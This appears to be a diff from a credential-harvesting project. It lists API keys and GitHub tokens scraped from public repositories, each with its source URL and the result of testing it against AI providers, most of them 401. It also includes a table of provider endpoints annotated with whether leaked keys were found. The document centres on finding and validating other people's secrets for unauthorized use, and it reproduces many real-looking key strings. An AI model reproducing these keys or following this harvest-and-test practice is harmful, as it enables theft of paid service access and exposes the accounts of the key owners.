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|https://github.com/valentinuuiuiu/piata-ro-project/blob/62bf718032187f8454d305cdce4aecb807216487/piata-ro-project/.continue/config.json|{"model": "x-ai/grok-4.1-fast:free", "provider": "openrouter"}
|
||||
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|https://github.com/eddiejdi/eddie-auto-dev/blob/ed66b83fd49c09635d27a354e9972c8d5d0d4991/.continue/config.json|{"model": "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", "provider": "openrouter"}
|
||||
your-SambaNovaCloud-api-key|https://github.com/PearlynnT/CyberKnowledgeHub/blob/128235a7fbc4dbc2737c86f95ca0bfabfd53bc93/code_copilot/config.json|{"model": "Meta-Llama-3.1-8B-Instruct", "provider": "sambanova"}
|
||||
your-garraia-api-key-here|https://github.com/michelbr84/GarraRUST/blob/1a477471512d38a4b14ff890af78bec640f2a097/docs/vscode/continue-config.json|{"model": "gpt-4o", "provider": "openai"}
|
||||
your-virtual-api-key-here|https://github.com/kriuchkov/oxidegate/blob/69bd702805ff029f363e53bdf285e804cf200139/examples/continue-config.json|{"model": "code-completion", "provider": "openai"}
|
||||
your-xai-api-key-here|https://github.com/wsg788/androidfakcam/blob/f9e925203fe02e6cb5d8a190643a7fa5af2f90b3/.continue/config.json|{"model": "grok-code-fast-1", "provider": "openai"}
|
||||
@@ -0,0 +1,33 @@
|
||||
AIzaSyAg1-yfLdo4514L8qdejVN1WYZomptIuFU|https://github.com/ron-thecertifiedbomb/lizardinteractive.online_client/blob/f10abffe502791a5456207ec51cfb603355e5e4e/config.json|{"model": "gemini-2.5-flash-lite-latest", "provider": "gemini"}|401
|
||||
your-garraia-api-key-here|https://github.com/michelbr84/GarraRUST/blob/1a477471512d38a4b14ff890af78bec640f2a097/docs/vscode/continue-config.json|{"model": "gpt-4o", "provider": "openai"}|401
|
||||
aFJAAt0XckRMkVMeeAzIioEKacFBRSSe|https://github.com/dgokcin/dotfiles/blob/15a153a2e64d466d95c66b48d7cfcef48d5c14bc/ai-stuff/continue/config.json|{"model": "codestral-latest", "provider": "mistral"}|401
|
||||
09sTj5pTuUbKcQGsShQC8gtftKP7R8VF|https://github.com/gevalinho/conduitbox_bank/blob/47ee868604698348c40bc8d565d4752be6a151ce/tsconfig.json|{"field": "tabAutocompleteModel"}|401
|
||||
your-virtual-api-key-here|https://github.com/kriuchkov/oxidegate/blob/69bd702805ff029f363e53bdf285e804cf200139/examples/continue-config.json|{"model": "code-completion", "provider": "openai"}|401
|
||||
FZXyvvOZ0SRkVb1pUaAykf4jGR0ixGDq|https://github.com/noemisanalex74/autogestionpro/blob/c5b8d6887776d949c527aecf85e99520aca69697/config/continue.config.json|{"field": "tabAutocompleteModel"}|401
|
||||
8c313c111b47423aa91781479cf0af6e.LfWV1laJpyWEHH1z|https://github.com/khaledbashir/ownllm1/blob/ed708f2864728e19f6329056675d64579facd16e/.continue/config.json|{"model": "glm-4.7", "provider": "openai"}|401
|
||||
sk-lm-iwHFr0Xk:nEghLayTOWBJpO5YmxpF|https://github.com/hhoomph/nextjs_estore/blob/721bf68ff109553e8e3c7a0e52589c3f1c25c5af/.continue/config.json|{"model": "qwen-coder2.5-7b", "provider": "lmstudio"}|401
|
||||
644fe2b6e4ce9301796615494a1766bd|https://github.com/bbalakriz/dotnet-web-simple-devspaces/blob/df22e6a405a626813790f7020fe9d17b27cade49/.continuerc.json|{"model": "granite-8b-code-instruct-128k", "provider": "openai"}|401
|
||||
sk-8ff9a856f5ea4c638fcd715c65655218|https://github.com/harshitsingh85420/HmarePanditJi/blob/28e30dcc7bd6aec38f67c977065641a7ef173022/.continue-config.json|{"model": "deepseek-chat", "provider": "openai"}|401
|
||||
your-SambaNovaCloud-api-key|https://github.com/PearlynnT/CyberKnowledgeHub/blob/128235a7fbc4dbc2737c86f95ca0bfabfd53bc93/code_copilot/config.json|{"model": "Meta-Llama-3.1-8B-Instruct", "provider": "sambanova"}|401
|
||||
con-e4ed7e203f962628a36ee33d4a91f40a8c4aad3d2a1ad187998b29c050a32539c|https://github.com/HanyWell/hany-beats-blog/blob/7dea4a29120a5efcdf9f0cf3a650c121b8aa1807/.continue/config.json|{"model": "claude-3-5-sonnet-20241022", "provider": "anthropic"}|401
|
||||
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|https://github.com/nuxdie/money_v2/blob/62e0bc69564e47bebda5320c2eab2ffa14de6af4/.continuerc.json|{"model": "llama3-70b", "provider": "groq"}|401
|
||||
AQ.Ab8RN6JIF5ahHQ21e5jx52YQAHdSxFPF0fSKpdbEGRU3nfXROw|https://github.com/Silvinhojm/criptomorse/blob/8ddf4ccce8b7de3ed60fa93a8b960fb4c43a85cd/config.example.json|{"model": "gemini-1.5-pro", "provider": "gemini"}|401
|
||||
optional-tentaclaw-api-key|https://github.com/TentaCLAW-OS/TentaCLAW/blob/559be77f02bced23f1638e60d95828fea1c1bd99/integrations/continue-dev/config.json|{"model": "llama3.1:8b", "provider": "openai"}|401
|
||||
EJIBxODCZyJOCAdvqSdcYOBZGlT38HjU|https://github.com/nuxdie/money_v2/blob/62e0bc69564e47bebda5320c2eab2ffa14de6af4/.continuerc.json|{"field": "tabAutocompleteModel"}|401
|
||||
INSERISCI_LA_TUA_KEY_QUI|https://github.com/xnemesy/Fyne/blob/b325e0fdd9413516682ce3b16fb7e1d5392dafdc/.continue/config.json|{"model": "moonshot-v1-8k", "provider": "openai"}|401
|
||||
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|https://github.com/gautamshubhamramcharan-prog/factorynerve/blob/dd4c6d07d21905c51cb768a2dfa7e610746010b7/.continue/config.json|{"model": "qwen/qwen3-next-80b-a3b-instruct", "provider": "openai"}|401
|
||||
${LITELLM_MASTER_KEY}|https://github.com/th-efool/localLLM_Orchestrator/blob/30e872b9c4a46d0338113484e720bf02c6b8dedb/config-examples/continue.config.json|{"model": "phi4", "provider": "openai"}|401
|
||||
sk-1ed0d***********************0d94|https://github.com/aymanalmousa1991-afk/barbershop-mo-ma/blob/232026c494c0eaba92f137bb360c8ededdf3a39c/.continue/config.json|{"model": "deepseek-chat", "provider": "openai"}|401
|
||||
YOUR_GITHUB_TOKEN_HERE|https://github.com/emrahbadas/electron/blob/4864bd2e089317fd9fbfee12d21caf67dd17b72e/.continue/config.json|{"model": "gpt-4o", "provider": "openai"}|401
|
||||
AQAb8RN6JqEX_s1sLar2yXE932eCDI7dPmuwvytoFjN0M6my_10A|https://github.com/frutapurapoupas/valente-conecta/blob/e6445604e39535b81f08c1fa9b3906a1ae8b2b18/config.json|{"model": "gemini-1.5-pro", "provider": "google"}|401
|
||||
11fa547803ecbbf7714e95b5bcb8e2f9ca8c42723e73d9f76b1a60d70b42e197|https://github.com/JitenSabharwal/JARVIS-AI-OS/blob/ea920943c259d40009679e52ec4b266ee1c52dcf/.continue/config.legacy.json|{"model": "jarvis-default", "provider": "openai"}|401
|
||||
AIzaSyAseka4ybW-EovMRe8wO4a40obskHp9zBE|https://github.com/jlucbonneau33-dot/Jean-Luc/blob/9930b8f578efffb0dd892fbb2cf6a3432ff1cc0c/.continue/config.json|{"model": "gemini-2.0-flash", "provider": "gemini"}|401
|
||||
your-xai-api-key-here|https://github.com/wsg788/androidfakcam/blob/f9e925203fe02e6cb5d8a190643a7fa5af2f90b3/.continue/config.json|{"model": "grok-code-fast-1", "provider": "openai"}|401
|
||||
sk-b4fbad865d874bb4a2a8881ce40773fd|https://github.com/Angus-Paillaugue/.dotfiles/blob/9794dc6639633a5c487c62885597779d5111c48a/links/.config/VSCodium/User/User/History/165b1fcd/FZqw.json|{"model": "AUTODETECT", "provider": "ollama"}|401
|
||||
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|https://github.com/eddiejdi/eddie-auto-dev/blob/ed66b83fd49c09635d27a354e9972c8d5d0d4991/.continue/config.json|{"model": "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", "provider": "openrouter"}|401
|
||||
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|https://github.com/DirtyCritic/wordle/blob/236dba629b8fda5d2e8457c950df02639647e850/~/.continue/config.json|{"model": "meta/llama-3.1-70b-instruct", "provider": "openai"}|401
|
||||
sk-d2a3f732d6f748289f84adf3ce875715|https://github.com/Cagedcarrow/UR10_Matlab_shovel_test/blob/db1bcc9caa5205c4a0731e16dd78b12650ba1761/config.json|{"model": "deepseek-chat", "provider": "deepseek"}|401
|
||||
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|https://github.com/valentinuuiuiu/piata-ro-project/blob/62bf718032187f8454d305cdce4aecb807216487/piata-ro-project/.continue/config.json|{"model": "x-ai/grok-4.1-fast:free", "provider": "openrouter"}|401
|
||||
sk-2b3d2a872c9046f8a309b15a1200c22a|https://github.com/drJanW/Kwal27/blob/d7d3dc48ff96f5ee33f4020f40820ef08f3d7433/.continue/config.json|{"model": "deepseek-v4-pro", "provider": "deepseek"}|401
|
||||
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|https://github.com/Offren/RSS-aggregator-Xpath-scraper/blob/3731867e30d90d92f938ef10d2ccd5fa7aed74ad/.continue/config.json|{"model": "claude-3-5-sonnet-20240620", "provider": "anthropic"}|401
|
||||
D35nZHM8jxzFdw8DBzMxkih6q4x4uUd8|https://github.com/Offren/RSS-aggregator-Xpath-scraper/blob/3731867e30d90d92f938ef10d2ccd5fa7aed74ad/.continue/config.json|{"field": "tabAutocompleteModel"}|401
|
||||
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
@@ -0,0 +1,2 @@
|
||||
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|https://github.com/Tanimou/promptopia/blob/bf7ee16912b7a913e316e8913df07000e709ac6e/.devcontainer/devcontainer.json|{"field": "regex"}
|
||||
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|https://github.com/spigelli/vscode-user-settings/blob/d47230f7720178a4a004b8980913eeb7fc28236c/settings.json|{"field": "regex"}
|
||||
@@ -0,0 +1,2 @@
|
||||
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|https://github.com/Tanimou/promptopia/blob/bf7ee16912b7a913e316e8913df07000e709ac6e/.devcontainer/devcontainer.json|{"field": "regex"}|401 bad credentials
|
||||
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|https://github.com/spigelli/vscode-user-settings/blob/d47230f7720178a4a004b8980913eeb7fc28236c/settings.json|{"field": "regex"}|401 bad credentials
|
||||
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
@@ -0,0 +1,49 @@
|
||||
# Anthropic-Compatible Endpoints for Chinese AI Providers
|
||||
|
||||
Discovered from tommo/sublime-claude config and iFlytek docs.
|
||||
All use x-api-key header + anthropic-version: 2023-06-01.
|
||||
|
||||
| Provider | Base URL | Env Var | Models | Status |
|
||||
|---|---|---|---|---|
|
||||
| 火山引擎 (Volcano) | https://ark.cn-beijing.volces.com/api/coding | ARK_API_KEY | ark-code-latest, claude-sonnet-4-6, claude-opus-4-6 | ✅ CONFIRMED |
|
||||
| 智谱 (ZhipuAI) | https://open.bigmodel.cn/api/anthropic | GLM_API_KEY | glm-4.7, glm-4.6, glm-4.5 | ✅ CONFIRMED |
|
||||
| 百度千帆 (Qianfan) | https://qianfan.baidubce.com/anthropic/coding | bce-v3/ALTAKSP- | qianfan-code-latest, deepseek-v4-flash, glm-5 | ✅ CONFIRMED |
|
||||
| 美团龙猫 (LongCat) | https://api.longcat.chat/anthropic | ak_ | LongCat-2.0 | ✅ CONFIRMED |
|
||||
| MiniMax | https://api.minimaxi.com/anthropic | sk-cp- | MiniMax-M2.5 | ✅ CONFIRMED |
|
||||
| 讯飞 (iFlytek) | https://maas-coding-api.cn-huabei-1.xf-yun.com/anthropic | ASTRON_API_KEY | astron-code-latest, xsparkx2, xsparkx2flash | ❌ No leaked keys found |
|
||||
| StepFun | https://api.stepfun.ai/v1/anthropic | STEPFUN_API_KEY | step-3.5-flash | Untested |
|
||||
| 百炼 (Bailian) | https://token-plan.cn-beijing.maas.aliyuncs.com/apps/anthropic | BAILIAN_API_KEY | qwen3.7-plus | Untested |
|
||||
|
||||
## iFlytek Coding Plan Details
|
||||
|
||||
### OpenAI-compatible endpoint
|
||||
POST https://maas-coding-api.cn-huabei-1.xf-yun.com/v2/chat/completions
|
||||
Auth: Authorization: Bearer <ASTRON_API_KEY>
|
||||
|
||||
### Anthropic-compatible endpoint
|
||||
POST https://maas-coding-api.cn-huabei-1.xf-yun.com/anthropic/v1/messages
|
||||
Auth: x-api-key: <ASTRON_API_KEY>
|
||||
|
||||
### Token Plan (separate)
|
||||
POST https://maas-token-api.cn-huabei-1.xf-yun.com/v2/chat/completions
|
||||
Auth: Authorization: Bearer <ASTRON_API_KEY>
|
||||
|
||||
### Available Models (Coding Plan)
|
||||
- xsparkx2agent — Spark X2 Agent
|
||||
- xsparkx2 — Spark X2
|
||||
- xsparkx2flash — Spark-X2-Flash
|
||||
- xopglm5 — GLM-5
|
||||
- xopglm51 — GLM-5.1
|
||||
- xopdeepseekv4pro — DeepSeek-V4-Pro
|
||||
- xopdeepseekv4flash — DeepSeek-V4-Flash
|
||||
- xopdeepseekv32 — DeepSeek-V3.2
|
||||
- xopkimik26 — Kimi-K2.6
|
||||
- xminimaxm25 — MiniMax-M2.5
|
||||
- xopqwen35397b — Qwen3.5-397B
|
||||
- astron-code-latest — Console-switched model
|
||||
|
||||
### Key Format
|
||||
- Separate from regular Spark API keys (which use HMAC auth)
|
||||
- Each subscription has its own dedicated API key
|
||||
- Obtained from https://maas.xfyun.cn/packageSubscription
|
||||
- No leaked keys found on GitHub (service too new, keys in env vars)
|
||||
@@ -0,0 +1 @@
|
||||
{"000000012449900000000010123456d8": "https://github.com/BINainier/5G-AKA/blob/5d12d663161ab2c01a2a198a9d3be83eb9979cbb/UE.py", "00007bc50d1921b184e325ff0afc0961": "https://github.com/hjlarry/zhihulive/blob/034a347357b30ce8c029912cfd163b7c486da1bf/config.py", "000080af510045268c91747235742a36": "https://github.com/eval-hub/eval-hub/blob/541f237511796e45ef8930c50af40c3de672ba22/examples/api_examples.ipynb", "00010203040506070809101112131415": "https://github.com/santhreal/keyhog/blob/9c723d78c101883e4d10faf5261d6086239b0a0f/crates/scanner/tests/unit/context_extended.rs", "0002cf3bcedf47e98ae5148bfa41115f": "https://github.com/thamarai-guna/Post-Discharge-AI-Assistant/blob/4564e0524046b7969d8267150363e036c2558b6d/.env", "0002dfc86ff24cc5ada1bffb8e7862d3": "https://github.com/nebius/token-factory-cookbook/blob/bcaad4c90b100dac4df84bf43f1b889d73031f9e/rag/rag-pdf-llama-index/rag_pdf_query.ipynb", "0005e5f5c2a84fe79a14fa38241f449a": "https://github.com/PA-Penajam/simbara_new/blob/bc3edc64250b090cb048d79b31d33d219b552bd5/.mcp.json", "0005f129a1a4464aacad9b003d08fc56": "https://github.com/beita6969/DeepSeek-R1-Distill-Qwen-32B-Medical-Fine-tune/blob/877d84fb4d0bd5c4717d5a868502654107ded9c3/ui.ipynb", "00068a3f007e48bcabe426b077055012": "https://github.com/ibm-granite-community/docling-workshop/blob/8d28ed8d7e26fc19e64dfe915b8527e304e45327/notebooks/RAG.ipynb", "0007310f17864ef8abede19e6eb13b74": "https://github.com/frank-morales2020/MLxDL/blob/2e5c493f43745dbae821b2824a656728c319564b/LWM_DEMO.ipynb", "000a1c198afe42c88ce6573e805593be": "https://github.com/luckysgit/Analysing-the-Wine-Quality-Dataset-with-Python/blob/8f6b150bd13ab159dd41be731cbe95d9842bcfe5/studio/Unsloth_Studio_Colab.ipynb", "000e85703f0fd9594c81710dd5066471": "https://github.com/aws/sagemaker-distribution/blob/a76d9ad74967cc6881abf07ba5b6529a8ef6ea77/build_artifacts/v1/v1.12/v1.12.2/cpu.env.out", "0010740d75fb424dbd2c040c749637fb": "https://github.com/StunlockStudios/battlerite-assets/blob/913842c3282cf394085b541cab3734b067c57a65/mappings/42048/Localization/Brazilian.ini", "0010ae9e52b541129e147f30890c9fc1": "https://github.com/dataman-git/codes_for_articles/blob/2e3c5a20e65b03c29497d7711cca6133e4f92c2f/HNSW.ipynb", "00112233445566778899aabbccddeeff": "https://github.com/Black1hp/Rakib-platform/blob/f9ab12bf34dcbb3ad8c8ee211d69fb846e4beaf9/research/rule_candidates/glm_rules.json", "0017ec22a7504941934db02a385dce85": "https://github.com/SureshDeora/Fine-tuning-Notebooks/blob/e1e9aaeb88630848a7e459e82a328ab319e7ab34/nb/gpt-oss-(20B)-Fine-tuning.ipynb", "001b248e9d864a1e82e42264ff560fd3": "https://github.com/Gnaneswar22/-AI-Career-Assistant-With-Hyper-Personalization/blob/827c5bd8b3b5abbf41aee3550dbf70bbed831770/Python_Script_for_Fine_Tuning_a_Career_AI_Model.ipynb", "001c0f78b68aa2f54eed8a91839e91a8": "https://github.com/Jarcis-cy/Domain_survival_detection/blob/a5cdcfa9ffe11123fb655cff4829e72737e13f51/cms.json", "001cd23882ca40a086c528c260aefa4f": "https://github.com/franlin1860/llm/blob/eeed9243cd0fbffd49dd1115dc58f2f8068da8bf/evaluate/OpenLLMetry_v20240903.ipynb", "001cdc73071a497dac4ee7819362f4f7": "https://github.com/FurrukhJamal/ColabML/blob/c4cac3dcb4bf2fe76ccb9727908c0960b121704e/Copy_of_LLM_Finetuning.ipynb", "001e2bb0a89d41e9b6aa9280ad55f063": "https://github.com/sinanuozdemir/oreilly-retrieval-augmented-gen-ai/blob/007234cd6890b75b455e36c1494c340449f4b198/notebooks/RAG_Generate.ipynb", "001e9e7aba8a422cac542d7aa7216754": "https://github.com/StunlockStudios/battlerite-assets/blob/913842c3282cf394085b541cab3734b067c57a65/mappings/43310/Localization/Spanish.ini", "002017cb754e4110ab6aabcdadc5aee9": "https://github.com/luckysgit/Analysing-the-Wine-Quality-Dataset-with-Python/blob/8f6b150bd13ab159dd41be731cbe95d9842bcfe5/studio/Unsloth_Studio_Colab.ipynb", "002605f869454fc4a8257efed5050d1a": "https://github.com/sheikxm/Rag-for-homework/blob/1f64381d5b2a39662ef21a6f7dd1f23f79b120bc/Rag.ipynb", "00294b167d6746f0b17d69ac6dd2bc72": "https://github.com/StunlockStudios/battlerite-assets/blob/913842c3282cf394085b541cab3734b067c57a65/mappings/42048/Localization/Brazilian.ini", "002b9fe5c861494f9498bea9bae71e39": "https://github.com/Suixin04/Digital_LinDaiyu_QT/blob/c700fd95fcc6e755a295febc469e996bac8520b6/REBUILD/knowledge.ipynb", "002fe31ec2554e228101f226312c6dd6": "https://github.com/Transformers-G5/blog-generation/blob/5cf64ffc29297626d653b851c2c71a9bbc2779d2/notebooks/Subpropmts_v1.ipynb", "003142aa2408449c8ce86735014904c2": "https://github.com/StunlockStudios/battlerite-assets/blob/913842c3282cf394085b541cab3734b067c57a65/mappings/43310/Localization/Spanish.ini", "003344c7d87f4917b43d4f86ae9a165f": "https://github.com/StunlockStudios/battlerite-assets/blob/913842c3282cf394085b541cab3734b067c57a65/mappings/42048/Localization/Brazilian.ini", "0033ba54b6714433986636440c4c4f3d": "https://github.com/StunlockStudios/battlerite-assets/blob/913842c3282cf394085b541cab3734b067c57a65/mappings/42048/Localization/Brazilian.ini", "00373ef272b9444d92820a53d2f8Line truncated
|
||||
@@ -0,0 +1,92 @@
|
||||
LongCat|ak_1MDE1ZDUwYTFmYmM2MDI0MjBhMDEx|https://github.com/PelionIoT/mbed-devicejs-bridge/blob/53a70ecbdbd82927ebe0bd0c9294f96377989b77/u.sh|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_1MDE1ZDUwYTFmYmM2MDI0MjBhMDEx","type":"authentication_error"}}
|
||||
LongCat|ak_01750c0131de4a928daae5eb8c9a9|https://github.com/antchain-openapi-sdk-go/ak_01750c0131de4a928daae5eb8c9a9a16/blob/9be22959e5ff60959f07e84b5a6353fa03002096/client/client.go|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_01750c0131de4a928daae5eb8c9a9","type":"authentication_error"}}
|
||||
LongCat|ak_2MAWQyiGyajz7vjZw6yHTPzu7tTDx|https://github.com/harshitchugh001/aeternity-weather/blob/0d57cd1131fbda271e03accf355620ad41cfcf27/.env|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_2MAWQyiGyajz7vjZw6yHTPzu7tTDx","type":"authentication_error"}}
|
||||
LongCat|ak_2a1j2Mk9YSmC1gioUq4PWRm3bsv88|https://github.com/randomshinichi/aeoracle/blob/b476109ab6073e28256b5d49352c658ce37902ac/main.go|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_2a1j2Mk9YSmC1gioUq4PWRm3bsv88","type":"authentication_error"}}
|
||||
LongCat|ak_2Q26giGSt2YuDqxJVjpW5bLKcEnSp|https://github.com/nikita-fuchs/mycashless-data-deployer/blob/d06f96ad294c5efd08996c4e157df11e726b7279/keys.ts|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_2Q26giGSt2YuDqxJVjpW5bLKcEnSp","type":"authentication_error"}}
|
||||
LongCat|ak_2QkttUgEyPixKzqXkJ4LX7ugbRjwC|https://github.com/sunbx/AEasy.io/blob/bceb504a231937d3d830b8738e61b27a87183d1c/Task.go|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_2QkttUgEyPixKzqXkJ4LX7ugbRjwC","type":"authentication_error"}}
|
||||
LongCat|ak_2mk8Hy6iF6mt4Hd3Ky2yn2ZT9Yo24|https://github.com/typo-master/typo-master/blob/6aafae15ef1d73325d9abf9b27e2f6bc7fae6c91/ecosystem.config.js|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_2mk8Hy6iF6mt4Hd3Ky2yn2ZT9Yo24","type":"authentication_error"}}
|
||||
LongCat|ak_2mwRmUeYmfuW93ti9HMSUJzCk1EYc|https://github.com/marc0olo/aepp-sdk-js-test/blob/de141371f755fa017d8a28452d3f6eb79640fd2c/run.js|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_2mwRmUeYmfuW93ti9HMSUJzCk1EYc","type":"authentication_error"}}
|
||||
LongCat|ak_49da8b07102429832071cc33f07d7|https://github.com/hannidinh/assignment-healthcare/blob/06f4d652a1273ead5d01c1e284bc5ed4c6ab2655/.env|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_49da8b07102429832071cc33f07d7","type":"authentication_error"}}
|
||||
LongCat|ak_3beecc9c60adb5f9b850e91a8ee1e|https://github.com/clerk/clerk-sdk-python/blob/4252a113acbae4cd9fae358751d02309457ba2ea/fixes.yaml|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_3beecc9c60adb5f9b850e91a8ee1e","type":"authentication_error"}}
|
||||
LongCat|ak_46987d0d0f971d39604352debce70|https://github.com/Jozewski/ksenseAPIassesment/blob/20710332cd4041b4f94f25bf88173eda34603ee8/src/main.ts|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_46987d0d0f971d39604352debce70","type":"authentication_error"}}
|
||||
LongCat|ak_5d8b3954e09058c38325484857b84|https://github.com/dimatolshin/Gifka/blob/39d6178c5870cf7339ac0235398d50ddf8cb2bde/.env|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_5d8b3954e09058c38325484857b84","type":"authentication_error"}}
|
||||
LongCat|ak_4cf7c7d0655047bb888b168fcceaf|https://github.com/antchain-openapi-sdk-go/ak_4cf7c7d0655047bb888b168fcceafb67/blob/b4ddc58f7958f7bff5e6f0b9ec40216e79bcbf7d/client/client.go|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_4cf7c7d0655047bb888b168fcceaf","type":"authentication_error"}}
|
||||
LongCat|ak_KHfXhF2J6VBt3sUgFygdbpEkWi6AK|https://github.com/sunbx/AEasy.io/blob/bceb504a231937d3d830b8738e61b27a87183d1c/Task.go|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_KHfXhF2J6VBt3sUgFygdbpEkWi6AK","type":"authentication_error"}}
|
||||
LongCat|ak_e569117e4d36d84217b9617fe84cf|https://github.com/Sdillon215/healthcare-assessment/blob/11d10b841e28bbd8f3e450eb4dea80b2438241f3/index.ts|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_e569117e4d36d84217b9617fe84cf","type":"authentication_error"}}
|
||||
LongCat|ak_dc4cb7bcc614c8932a855cba5d34f|https://github.com/dm-bit1/ksense/blob/a4099c47c8f5741d43cc6f1e3a2f495ca5a15347/.env|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_dc4cb7bcc614c8932a855cba5d34f","type":"authentication_error"}}
|
||||
LongCat|ak_d1cdef7dc0ce2dbd912f873bf45aa|https://github.com/flyshuttle2/village_study_tour/blob/e65d49142a942274c1a233a68fb5f566777df964/.env|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_d1cdef7dc0ce2dbd912f873bf45aa","type":"authentication_error"}}
|
||||
LongCat|ak_EPdz0F8elHMbYc9kpDcNUeeDGbYWD|https://github.com/macrohardo/LLM-Council-Latest/blob/9588cc1d63973878f59006c5dc7fc3173aab2001/.env|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_EPdz0F8elHMbYc9kpDcNUeeDGbYWD","type":"authentication_error"}}
|
||||
LongCat|ak_kdxBz4kzVot86bcrUMQwisDpA5m1g|https://github.com/sunbx/AEasy.io/blob/bceb504a231937d3d830b8738e61b27a87183d1c/Task.go|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_kdxBz4kzVot86bcrUMQwisDpA5m1g","type":"authentication_error"}}
|
||||
LongCat|ak_oeh2kmpcponipd4eysophu4gdcu5h|https://github.com/bharat1407/bharat/blob/c2a389200f1ae09a8768a3a10aea69ba948ea54d/.env|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_oeh2kmpcponipd4eysophu4gdcu5h","type":"authentication_error"}}
|
||||
LongCat|ak_ff892bf94ef82a3708cee7ba4df4f|https://github.com/Nishchaysaluja10/AlgoTrading-Model/blob/1e736b2b7225db0b17b8445422fdc0f407d2f957/.env|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_ff892bf94ef82a3708cee7ba4df4f","type":"authentication_error"}}
|
||||
LongCat|ak_wTPFpksUJFjjntonTvwK4LJvDw11D|https://github.com/sunbx/AEasy.io/blob/bceb504a231937d3d830b8738e61b27a87183d1c/Task.go|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_wTPFpksUJFjjntonTvwK4LJvDw11D","type":"authentication_error"}}
|
||||
LongCat|ak_iDBGKy18SERKdyivZbpLs6kevcink|https://github.com/appsoftwareltd/as-notes/blob/62d59acf7103b9bcf675fc9b285578c342206727/.mcp.json|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_iDBGKy18SERKdyivZbpLs6kevcink","type":"authentication_error"}}
|
||||
LongCat|ak_zvU8YQLagjcfng7Tg8yCdiZ1rpiWN|https://github.com/sunbx/AEasy.io/blob/bceb504a231937d3d830b8738e61b27a87183d1c/Task.go|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_zvU8YQLagjcfng7Tg8yCdiZ1rpiWN","type":"authentication_error"}}
|
||||
OllamaCloud|1a3b56d69c9d4a2b92e2b31b5cb7ecfd.tqhihzz8ep3LkWl13N8NGEYC|https://github.com/Dhiraj-Kumar/Bosch-Agent-Demos/blob/5d1c0f7c27c3b23b95c527a59c7023c3c9bd49a2/Langchain-Demos/.env|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|23383108e6e35c70f6b1cc9b77c8f1ef.72989308362135650f67ee24|https://github.com/Review-BOD-Org/reviewbod/blob/e3835012fd44cdbc099c506c4bdc148089b45afa/.env|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|38113878850a7d717dbc69de8683aaad.c7efaa30a0d80b2958b87696|https://github.com/UbiquitousLearning/FeS/blob/62f2ffb966060ced938fad16d3817f68dc98d32c/a.ipynb|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|2445772e62648412c7c87daa582ddd04.b4a2fd5977f7fbfaba057244|https://github.com/RuhiuEdwin/subscribe/blob/18ece2a8cb08dd92305881cb7a383271fb5f36e1/app.js|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|05aea780616811efa5dbff93fab61642.bphtmi8lapPmQi13YN56ES8h|https://github.com/thanledinh/DUANTOT/blob/1e4301bb0596c09abba46474b5c67c799b13e6ec/.env|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|1234567890abcdef1234567890abcdef.1234567890abcdef12345678|https://github.com/tony-by/secrets-test/blob/5e79f73d8a9f5b0a3d73bd8e568629487f03ad59/app.js|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|334f89bd1f6e4c9e803461559ae66838.XWLeJoNnwljHXRaskUY8xabD|https://github.com/panyeroa1/brown-orb/blob/6afb030bbd037f1f7015122bf4d7b4d6b20bbed1/.env|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|24fb8a7c1f3f4c198db276562f7c4d56.MX6c2EpQkSsfLPlGV4Lqra1Y|https://github.com/iAditya-Nanda/Disaster-Relief-Resource-Matcher-Hack-O-Fest-2026/blob/a4822cbd05c2b6ec72fe8e1e6141ceeb2ab565e1/server/.env|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|0a8b31034616309459e0b51ef07ade09.1bb6b73eca45938a31700ee9|https://github.com/tuanyuan2008/style-transfer/blob/952f11aa9f2867415fcbf46a560eb9ae5f883b7e/drg.ipynb|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|0a8b31034616309459e0b51ef07ade09.f59b19eb0e361a0230a1106b|https://github.com/zhengyangb/Ordered-Neuron-LSTM-with-Pretrained-Model/blob/690ad35e8028d6547ca1d5f71641fb02c377369c/GPT.ipynb|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|5872af9cbffc432f96e821da9a402c4c.b387316ab5425cf69f617e43|https://github.com/Xenonesis/Shopr/blob/89fd145a919126883abcf4991c0b295314fa66d6/.env|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|47e36fae0588f9dbc1ae51decdff691b.70bec105b4158ed9a1747fea|https://github.com/nlpbook/nlpbook/blob/b0725757ca2b90beadefff89a07d3bd94e6c2ea2/ch02.ipynb|401: {"error":"Unauthorized"}
|
||||
|
||||
